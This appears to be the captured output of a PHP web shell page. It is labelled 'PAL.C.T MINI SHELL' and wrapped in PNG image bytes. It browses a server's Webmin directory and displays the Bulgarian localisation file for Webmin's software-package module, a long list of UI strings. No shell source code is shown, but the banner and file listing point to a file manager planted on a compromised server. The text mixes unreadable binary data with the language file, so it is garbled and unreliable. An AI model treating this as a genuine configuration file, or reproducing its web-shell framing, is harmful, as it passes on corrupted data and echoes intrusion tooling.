php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/software/lang/
upload
files >> //usr/libexec/webmin/software/lang/bg.auto

index_title=Софтуерни пакети
index_installed=Инсталирани пакети
index_close=Затвори всички.
index_open=Отворете всички.
index_search=Търсене на пакет:
index_install=Инсталирайте нов пакет
index_installmsg=Изберете местоположението, за да инсталирате нов $1 пакет от ..
index_local=От локален файл
index_uploaded=От качен файл
index_ftp=От ftp или http URL
index_installok=Инсталирай
index_ident=Идентифицирайте файл
index_identmsg=Въведете команда или името на пътя на файл, за да търсите в базата данни $1.
index_identok=Търся:
index_all=Всички пакети
index_return=индекс на модула
index_treturn=пакет дърво
index_tree=Пакетно дърво
index_epackagecmd=Пакетната система $1 изисква командата $2 
index_eupdatecmd=Системата за актуализиране на $1 изисква командата $2 
index_epackagecheck=Избраната система за управление на пакети не е валидна: $1. <br>Може да се наложи да изберете друга система на страницата за<a href='$2'> конфигурация на модула </a>.
index_eupdatecheck=Избраната система за актуализация не е валидна: $1. <br>Може да се наложи да изберете различен метод за актуализиране на страницата за<a href='$2'> конфигурация на модула </a>.
index_echeckpackage=Не е открита пакетна система!
index_echeckupdate=Не е открита система за актуализация!
index_filter=Филтриращи пакети
index_filterclear=Изчисти филтъра
index_filtered=Показване на <tt>$1</tt> пакети от <tt>$2</tt>

search_title=Търсене на пакети
search_nomatch=Няма пакети, които съответстват $1 
search_none=Нито един
search_desc=описание
search_class=клас
search_pack=Пакет
search_match=Пакети, съвпадащи $1 
search_return=Резултати от търсенето
search_esearch=Не сте въвели нищо за търсене!
search_delete=Деинсталирайте избраните пакети
search_selall=Маркирай всичко
search_invert=Инвертиране на селекцията

edit_title=Редактиране на пакета
edit_details=Детайли за пакета
edit_desc=описание
edit_pack=Пакет
edit_class=клас
edit_none=Нито един
edit_ver=версия
edit_vend=продавач
edit_arch=архитектура
edit_inst=Инсталирана
edit_list=Списък на файлове
edit_listdesc=Показване на всички файлове в този пакет и тяхното текущо състояние на проверка.
edit_uninst=Uninstall
edit_uninstdesc=Извадете този пакет от вашата система.
edit_return=подробности за пакета
edit_egone=Пакетът вече не е инсталиран

list_title=Пакетни файлове
list_files=Файлове за пакет $1 
list_path=път
list_owner=собственик
list_group=група
list_type=Тип
list_size=размер
list_status=Статус
list_ok=Добре
list_view=(Изглед)
list_eview= $1 : $2 не можа да се отвори

delete_err=Изтриването на пакета $1 не бе успешно
delete_epack=Пакетът $1 не съществува
delete_title=Изтриване на пакета
delete_rusure=Сигурни ли сте, че искате да изтриете пакета $1 ? До $2 файла ($3) ще бъдат изтрити завинаги.
delete_rusure2=Сигурни ли сте, че искате да изтриете пакета $1 ?
delete_ok=Изтрий
delete_nodeps=Игнорирайте зависимостите?
delete_noscripts=Пропуснете деинсталирането на скриптове?
delete_efile=Невалиден Temp файл за изтриване
delete_purge=Прочистване на конфигурационни файлове?
delete_depstoo=Отстранени ли са и неизползваните зависимости?

file_title=Информация за файла
file_notfound=Няма информация за $1 
file_path=път
file_type=Тип
file_perms=Разрешения
file_owner=собственик
file_group=група
file_size=размер
file_link=Връзка към
file_pack=Пакет
file_class=клас
file_desc=описание
file_none=Нито един

install_err=Инсталирането на пакета не бе успешно
install_elocal=Не е даден локален файл
install_elocal2='$ $1' не съществува
install_eupload=Вашият браузър не поддържа качване на файлове
install_eurl=Неразбираем URL адрес „$ $1“
install_eupdate=Не е въведен пакет за инсталиране
install_edir=Невалидна $1 директория
install_ezip=Не валиден компресиран или gzipped $1 файл
install_efile=Не валиден $1 файл
install_title=Инсталиране на пакет
install_header=Инсталиране на пакет
install_packs=Пакет (и) за инсталиране
install_ok=Инсталирай

do_err=Инсталирането на пакета $1 не бе успешно
do_title=Инсталиране на пакет
do_efailed=Инсталирането не бе успешно : $1 
do_efailedmsg1=Можете да опитате да инсталирате отново, като се върнете на предишната страница и изберете различни опции за инсталиране.
do_efailedmsg2=В противен случай, <a href='$1'>кликнете тук, за да изтриете временния файл на пакета</a>, за да спестите място на диска.
do_success=Пакет $1 бе инсталиран успешно
do_details=Детайли за пакета
do_desc=описание
do_class=клас
do_pack=Пакет
do_ver=версия
do_vend=продавач
do_arch=архитектура
do_inst=Инсталирана
do_none=Нито един
do_files=Пакетни файлове

pkgadd_root=Root директория
pkgadd_eroot=Root директория '$ $1' не съществува
pkgadd_unknown=неизвестен
pkgadd_manager=System V Мениджър на пакети

rpm_upgrade=Ъпгрейд пакет?
rpm_replacepkgs=Да презапишете пакета?
rpm_nodeps=Игнорирайте зависимостите?
rpm_oldpackage=Замяна на нова версия със стара?
rpm_noscripts=Изпълнете скриптове за инсталиране?
rpm_excludedocs=Инсталиране на документация?
rpm_replacefiles=Да презапишете файлове?
rpm_notriggers=Да стартирате задействани скриптове?
rpm_ignoresize=Проверете размера на файловата система?
rpm_root=Root директория
rpm_eroot=Root директория '$ $1' не съществува
rpm_search=Търсене rpmfind.net за:
rpm_none=Не бяха намерени пакети, отговарящи на вашето търсене.
rpm_find=Търсене rpmfind.net ..
rpm_findrpm=Име на файла на пакета
rpm_finddistro=разпределение
rpm_finddesc=описание

bsd_unknown=неизвестен
bsd_scripts=Изпълнявате скриптове преди и след инсталиране?
bsd_force=Принудително инсталиране, ако липсват предпоставки?
bsd_manager=$1 Мениджър на пакети

slack_unclass=друг
slack_unknown=неизвестен
slack_missing=липсващ
slack_root=Root директория
slack_eroot=Липсваща или невалидна коренова директория
slack_manager=Мениджър на пакети за Slackware
slack_edir=Липсва директория за пакети Slackware $1 

debian_unknown=неизвестен
debian_depends=Игнорирайте проблемите на зависимостта?
debian_conflicts=Игнорирате конфликтите на пакети?
debian_overwrite=Да презапишете ли файлове от други пакети?
debian_downgrade=Замяна на по-нов пакет със стар?
debian_manager=Debian DPKG

log_install_package=Инсталиран пакет $1 
log_install_apt_l=Инсталиран пакет (и) $1 от APT
log_install_apt=Инсталиран $2 пакет (и) от APT
log_install_yum_l=Инсталиран пакет (и) $1 от YUM
log_install_yum=Инсталиран пакет (и) $2 от YUM
log_install_rhn_l=Инсталиран пакет (и) $1 от Redhat Network
log_install_rhn=Инсталиран пакет (и) $2 от Redhat Network
log_check_apt_l=Обновен пакет (и) $1 от APT
log_check_apt=Надградени $2 пакета (и) от APT
log_delete=Деинсталиран пакет $1 
log_deletes_l=Деинсталирани пакети $1 
log_deletes=Деинсталирани $1 пакети
log_urpmi_update=Актуализирани налични URPMI пакети
log_urpmi_upgrade=Надградени инсталирани URPMI пакети
log_upgrade_yum_l=Обновен пакет (и) $1 от YUM
log_upgrade_yum=Надградени $2 пакета (и) от YUM
log_check_rhn_l=Обновен пакет (и) $1 от Redhat Network
log_check_rhn=Надградени $2 пакета (и) от Redhat Network

rhn_input=Пакет от Redhat Network
rhn_find=Търсене на RHN ..
rhn_install=Инсталиране на пакети (и) с команда $1 ..
rhn_ok=.. инсталирайте завършена.
rhn_failed=.. инсталирането не бе успешно!
rhn_title=Изберете RHN пакет
rhn_pack=Пакет
rhn_version=версия
rhn_form=Redhat Network Options
rhn_header=Опции за автоматично обновяване на пакета
rhn_auto=Автоматично проверява за актуализации?
rhn_interval=Интервал на проверка
rhn_secs=минути
rhn_apply=Запазете и приложите
rhn_now=Запазете и проверете сега
rhn_err=Неуспешно запазване на опциите за RHN
rhn_einterval=Липсващ или невалиден интервал
rhn_einterval2=Интервалът за проверка трябва да бъде най-малко 120 секунди
rhn_check=Проверка за актуализации
rhn_checkdesc=Проверка за актуализирани пакети от мрежата Redhat с команда $1 ..
rhn_nocheck=.. няма актуализирани пакети.
rhn_proxy=URL адрес на прокси сървър за изтегляне
rhn_none=хора с увреждания
rhn_eproxy=Липсващ или невалиден прокси сървър
rhn_skip=Пропуснете съвпадение на пакети
rhn_nonefound=Няма налични пакети за актуализация.
rhn_name=Redhat Network

apt_input=Пакет от APT
apt_install=Инсталиране на пакети (и) с команда $1 ..
apt_ok=.. инсталирайте завършена.
apt_failed=.. инсталирането не бе успешно!
apt_form=Надграждане на всички пакети
apt_header=Опции за надграждане на APT пакети
apt_update=Ресинхронизирайте списъка с пакети (<tt>актуализация</tt>)
apt_mode=Режим на надстройка
apt_mode2=Ъпгрейд на дистрибуцията (<tt>надграждане-разстояние</tt>)
apt_mode1=Нормално надграждане
apt_mode0=Не надграждайте
apt_sim=Показвайте само кои пакети биха били надстроени
apt_apply=Надстройте сега
apt_upgrade=Надграждане на всички пакети
apt_updatedesc=Ресинхронизиране на списъка с пакети с команда $1 ..
apt_updatefailed=.. ресинхронизацията не бе успешна!
apt_updateok=.. ресинхронизацията приключи.
apt_upgradedesc=Надграждане на всички пакети с команда $1 ..
apt_upgradedescsim=Симулиращо надграждане на всички пакети с команда $1 ..
apt_upgradefailed=.. ъпгрейдът не бе успешен!
apt_upgradeok=.. надстройката завършена.
apt_search=Намерете съвпадащи пакети :
apt_find=Търсене APT ..
apt_title=Търсене APT
apt_name=APT
apt_repo_url=Основен URL адрес на хранилището
apt_repo_path=Компоненти на пътя на разпространение
apt_repo_eurl=Липсващ или невалиден изглеждащ основен URL адрес
apt_repo_epath=Липсва пътека за разпространение

yum_input=Пакет от YUM
yum_install=Инсталиране на пакети (и) с команда $1 ..
yum_ok=.. инсталирайте завършена.
yum_failed=.. инсталирането не бе успешно!
yum_find=Разгледайте YUM ..
yum_package=Пакет
yum_version=версия
yum_arch=архитектура
yum_source=източник
yum_form=Надграждане на всички пакети
yum_apply=Надстройте всички пакети за инсталиране от YUM
yum_upgrade=Надграждане на всички пакети
yum_upgradedesc=Надграждане на всички пакети с команда $1 ..
yum_upgradefailed=.. ъпгрейдът не бе успешен!
yum_upgradeok=.. надстройката завършена.
yum_title=Разгледайте YUM
yum_name=YUM
yum_enable=Активиране на хранилището:
yum_none=&lt;Няма&gt;
yum_repo_id=Идент. № на хранилището
yum_repo_name=Описание на хранилището
yum_repo_url=Основен URL адрес на пакета
yum_repo_gpg=GPG файл със сертификат
yum_repo_none=Не е подписано
yum_repo_eid=Липсващ или невалиден идентификатор на хранилището - разрешени са само букви и цифри
yum_repo_eidclash=Идентификационният номер на хранилището вече се използва
yum_repo_ename=Липсва име на хранилището
yum_repo_eurl=Липсващ или невалиден URL адрес на хранилището
yum_repo_egpg=Липсва или не съществува GPG cert файл
yum_repo_efile=Файлът на хранилището вече съществува!

urpmi_name=URPMI
urpmi_input=Пакет от URPMI
urpmi_find=Разгледайте URPMI ..
urpmi_form=Надграждане на всички пакети
urpmi_update=Актуализирайте наличните URPMI пакети
urpmi_upgrade=Надстройте инсталираните URPMI пакети до най-новите версии
urpmi_title_update=Актуализиране на наличните пакети
urpmi_title_upgrade=Надграждане на инсталирани пакети
urpmi_updatedesc=Изпълнява се команда $1 ..
uprmi_upgradefailed=.. се провали!
urpmi_upgradeok=.. пълна.
urpmi_install=Инсталиране на пакети (и) с команда $1 ..
urpmi_ok=.. инсталирайте завършена.
urpmi_failed=.. инсталирането не бе успешно!

rpm_missing=липсващ
rpm_checkfail=$1 проверка не бе успешно
rpm_md5=MD5
rpm_fsize=размер на файла
rpm_sym=символна връзка
rpm_mtime=време за модификация
rpm_dev=приспособление
rpm_user=собственост на потребителя
rpm_perm=разрешения
rpm_group=групова собственост
rpm_erpm=RPM $1 не е намерено : $2 

soft_reg=Редовен файл
soft_dir=указател
soft_spec=Специален файл
soft_sym=Символична връзка
soft_hard=Твърда връзка
soft_edit=Редактируем файл
soft_efunc=Неуспешно зареждане на функции за пакетна система $1.
soft_euncompress=Файлът е компресиран, но командата <tt>Unpress</tt> не беше намерена във вашата система.
soft_euncmsg=Декомпресирането на файла не бе успешно : $1 
soft_egzip=Файлът е gzipped, но командата gzip не е намерена във вашата система.
soft_egzmsg=Файлът за gunzip не можа : $1 

aix_unknown=неизвестен
aix_device=INPUT устройство / директория за софтуер
aix_software=СОФТУЕР за инсталиране
aix_preview=ПРЕДВИД само? (операция за инсталиране НЯМА да се случи)
aix_commit=ИЗПЪЛНИТЕ актуализации на софтуера?
aix_save=СПАСЯТЕ заменени файлове?
aix_auto=АВТОМАТИЧНО инсталирате ли необходимия софтуер?
aix_extend=EXTEND файлови системи, ако е необходимо пространство?
aix_overwrite=СВЪРЗВАЙТЕ същите или по-нови версии?
aix_verify=VERIFY инсталиране и проверка на размера на файловете?
aix_include=Включвате ли съответния набор от файлове на LANGUAGE?
aix_detail=ПОДРОБНО изход?
aix_process=Обработвате няколко тома?
aix_accept=ПРИЕМАТЕ ли нови лицензионни споразумения?
aix_license=Визуализация на нови споразумения за ЛИЦЕНЗИЯ?
aix_clean=Провал при инсталиране на почистване?
aix_manager=AIX Package Manager

emerge_input=От хранилище Portage
emerge_find=Търсене ..
emerge_install=Инсталиране на пакет с команда $1 ..
emerge_failed=.. инсталирането не бе успешно!
emerge_ok=.. инсталирайте завършена.
emerge_search=Търсене на пакет:
emerge_pack=Пакет
emerge_class=клас
emerge_version=версия
emerge_desc=описание
emerge_none=Нито един пакет не отговаря на вашето търсене.
emerge_noreplace=Замяна на съществуващи пакети?
emerge_onlydeps=Да инсталирате само зависимости?
emerge_title=Търсене Portage
emerge_name=пренасяне на товари по суша

cygwin_fmissing=Файлът липсва
cygwin_lmissing=Файлът, към който липсват точките за връзка
cygwin_estat=Файлът за статистика не бе успешен: $1 
cygwin_elread=Символната връзка не бе прочетена: $1 
cygwin_elstat=Неуспешно стартиране на символната връзка: $1 
cygwin_badpostscript=Предупреждение: изглежда, че този скрипт не е стартиран
cygwin_pkgexists=Пакет $1 вече съществува.
cygwin_warnuse=Предупреждение: Това не е официален интерфейс за управление на софтуера Cygwin. Използвайте на свой риск.
cygwin_edb=Липсва база данни на пакети Cygwin $1 

deletes_err=Изтриването на пакетите не бе успешно
deletes_enone=Не са избрани пакети
deletes_title=Изтрийте пакетите
deletes_desc=Деинсталиране на пакети $1 ..
deletes_failed1=Деинсталирането на $1 : $2 не бе успешно
deletes_success1=Успешно деинсталиран $1 
deletes_failed2=Деинсталирането не бе успешно : $1 
deletes_success2=.. деинсталирането завърши.
deletes_rusure=Сигурни ли сте, че искате да деинсталирате пакетите $1 ?
deletes_ok=Изтрийте ги всички

csw_input=Пакет от CSW
csw_install=Инсталиране на пакети (и) с команда $1 ..
csw_ok=.. инсталирайте завършена.
csw_failed=.. инсталирането не бе успешно!
csw_already=.. вече е инсталирано.
csw_retry=.. опитвам отново с нови зависимости.
csw_find=Разгледайте CSW ..
csw_package=Пакет
csw_version=версия
csw_title=Разгледайте CSW
csw_name=CSW
csw_form=Надграждане на пакети
csw_upgrade=Надстройте всички инсталирани пакети
csw_updatedesc=Надграждане на всички инсталирани пакети с команда $1 ..

missing_msg=Пакетът $1 може да бъде инсталиран автоматично от Webmin с помощта на $2.
missing_now=Инсталирай сега

find_title=Търсене на пакет
find_search=Намерете съвпадащи пакети:
find_name=име
find_version=версия
find_desc=описание
find_none=Не бяха намерени пакети, отговарящи на вашето търсене.

msi_users=Направете ново приложение достъпно за
msi_users0=Никой
msi_users1=Текущия потребител
msi_users2=Всички потребители
msi_missing=Не съществува
msi_size=Грешен размер

hpux_create_target_path=Създаване на целевия път?
hpux_mount_all_filesystems=Монтирате всички файлови системи?
hpux_reinstall=Възстановявам?
hpux_reinstall_files=Преинсталиране на файлове?
hpux_reinstall_files_use_cksum=Преинсталиране на файлове използва ли контролна сума?
hpux_allow_multiple_versions=Да се разрешат ли няколко версии?
hpux_defer_configure=Конфигуриране на отлагане?
hpux_autorecover_product=Продукт Autorecover?
hpux_allow_downdate=Да се разреши скоростта?
hpux_allow_incompatible=Разрешаване на несъвместими?
hpux_autoselect_dependencies=Автоизбор зависимости?
hpux_enforce_dependencies=Насилване на зависимостите?
hpux_enforce_scripts=Прилагане на скриптове?
hpux_enforce_dsa=Наложи ли анализ на дисковото пространство?
hpux_root=Root директория

ports_install=Инсталиране на FreeBSD портове $1 ..
ports_failed=.. някои пристанища не успяха
ports_ok=.. инсталирайте завършена
ports_input=Пакет от пристанища
ports_find=Търсене на портове
ports_name=FreeBSD портове
ports_form=Актуализиране на база данни за портове
ports_apply=Изтеглете най-новата снимка
ports_upgrade=Изтегляне на снимките на пристанищата
ports_running=Изпълнява се команда $1 ..

pkg_install=Инсталиране на FreeBSD пакети $1 ..
pkg_failed=.. някои пакети не успяха
pkg_ok=.. инсталирайте завършена
pkg_find=Търсене в pkgng
pkg_input=Пакет от pkgng

pkgsrc_install=Инсталиране на pkgsrc пакети $1 ..
pkgsrc_failed=.. някои пакети не успяха
pkgsrc_ok=.. инсталирайте завършена
pkgsrc_find=Търсене в pkgng
pkgsrc_input=Пакет от pkgsrc

log_IPKG_update=Актуализирана база данни IPKG
log_IPKG_upgrade=Надградени инсталирани IPKG пакети

IPKG_name=IPKG
IPKG_input=Пакет от IPKG
IPKG_find=Разгледайте IPKG ..
IPKG_form=Управление на IPKG пакети
IPKG_update=Актуализирайте базата данни за пакети IPKG
IPKG_upgrade=Надграждане на инсталирани IPKG пакети
IPKG_title_update=Актуализиране на IPKG Databse
IPKG_title_upgrade=Надграждане на инсталирани пакети
IPKG_updatedesc=Изпълнява се команда $1 ..
IPKG_upgradefailed=.. се провали!
IPKG_upgradeok=.. пълна.
IPKG_install=Инсталиране на пакети (и) с команда $1 ..
IPKG_ok=.. инсталирайте завършена.
IPKG_failed=.. инсталирането не бе успешно!
IPKG_index_tree=Управление на IPKG пакети
IPKG_install_package=Инсталирай
IPKG_install_packagedesc=Инсталирайте този пакет във вашата система
IPKG_noupgrade=Нищо за надграждане
IPKG-edit_title=Управление на IPKG пакет
IPKG_update_avail=Актуализиране на разположение:
IPKG_not_installed=Пакетът не е инсталиран
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`